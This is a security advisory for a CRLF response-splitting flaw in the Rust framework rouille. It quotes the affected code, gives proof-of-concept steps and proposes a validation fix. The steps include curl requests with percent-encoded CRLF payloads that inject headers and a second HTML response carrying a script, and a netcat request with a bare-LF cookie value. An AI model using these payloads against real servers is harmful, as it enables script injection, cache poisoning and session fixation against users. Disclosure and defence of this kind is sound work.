
Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille)
Assigned CVE ID: CVE-2026-66746
rouille writes response header values to the client without checking them for carriage return or line feed. An application that places attacker-influenced text into a header value therefore emits extra headers, or an entire second HTTP response, on the wire.
Two properties of rouille make this reachable in ordinary code. Request::get_param
percent-decodes, so %0d%0a in a query string becomes a real CRLF. And
session::session copies the client's own Cookie value into Set-Cookie with
no validation at all.
Every other widely used Rust HTTP stack rejects this at the type level:
http::HeaderValue::from_str returns InvalidHeaderValue for CR and LF, which
is why hyper, axum, actix-web and warp are not exposed the same way.
Repo URL: https://github.com/tomaka/rouille
| First affected | 0.4.0 (2016-12-14) for the response header path below |
| Last affected | 3.6.2 (2023-04-24), the current release |
| Fixed in | no fixed version at time of writing |
Releases before 0.4.0 emit responses through a different code path that was not
examined, so they are not claimed either way. The session::session reflection
described under path B exists from 0.3.2 (2016-12-02) onward.
CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers), a specific case of CWE-93 (CRLF Injection).
CVSS 4.0 base score 5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Path A requires a remote, unauthenticated attacker and a victim who follows a
link the attacker supplies. The attacker needs the application to put any
request-derived string into a response header. Redirecting to a next or
return_to query parameter is the common case.
Path B requires only that the application calls session::session and reads the
session id. The attacker controls their own Cookie header, so on its own this
is self-inflicted. It becomes an attack against others when a shared cache
stores the split response, or when combined with another way to set a cookie in
the victim's browser.
rouille/src/lib.rs, lines 624 to 640, passes values straight through:
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
Header::from_bytes checks only that the bytes are ASCII, and CR and LF are
ASCII. tiny_http-0.12.0/src/common.rs, lines 166 to 172:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
The value is then written with no escaping.
tiny_http-0.12.0/src/response.rs, lines 99 to 104:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Request::get_param decodes percent escapes, so the caller receives real control
characters. rouille/src/lib.rs, lines 928 to 932:
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
rouille/src/session.rs takes the key from the client's cookie at line 59 and
interpolates it into the response header at lines 75 to 81:
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
Step 1. Start a server that redirects to a query parameter.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
Step 2. Request it with %0d%0a in the parameter.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
Result. X-Injected arrives as its own header:
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
Step 3. Extend the payload past the end of the headers to emit a whole second response.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
Result. One request, two complete responses. The second carries an attacker-chosen status line, content type and body:
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
Step 1. Start a server using the documented session idiom.
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
Step 2. Send a cookie whose value contains a bare LF. \n below is a single
line feed, \r\n is a CRLF.
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
Result. The value breaks out of Set-Cookie onto its own line:
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
Path B has three limits worth noting. Only a bare LF gets through, because CRLF
would have ended the header line in tiny_http, so the client or cache must
treat a lone LF as a terminator. Everything after the injection point still
carries the ; Max-Age=3600; Path=/; HttpOnly suffix from the same format!,
so the primitive is a header with a fixed trailing string rather than a clean
arbitrary header. And the attacker only controls their own cookie. Path A has
none of these limits.
Script execution in the origin's security context, cache poisoning where a shared
cache stores the injected response against the victim's URL, session fixation
through an injected Set-Cookie, and overriding security headers such as CSP or
CORS. Because path A produces a real CRLF, every client and cache splits on it.
Validate header values in Server::process before handing them to tiny_http,
in rouille/src/lib.rs around line 634:
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
Return a 500 for the whole response rather than dropping the offending header, so the failure is visible instead of silently changing the response.
Validate the session key in session::session as well: reject a cookie value
that is not [A-Za-z0-9]+ and generate a fresh id instead. Checking in
Response::with_additional_header, with_unique_header and the redirect_*
constructors would surface the error at the call site, where the application
author can act on it.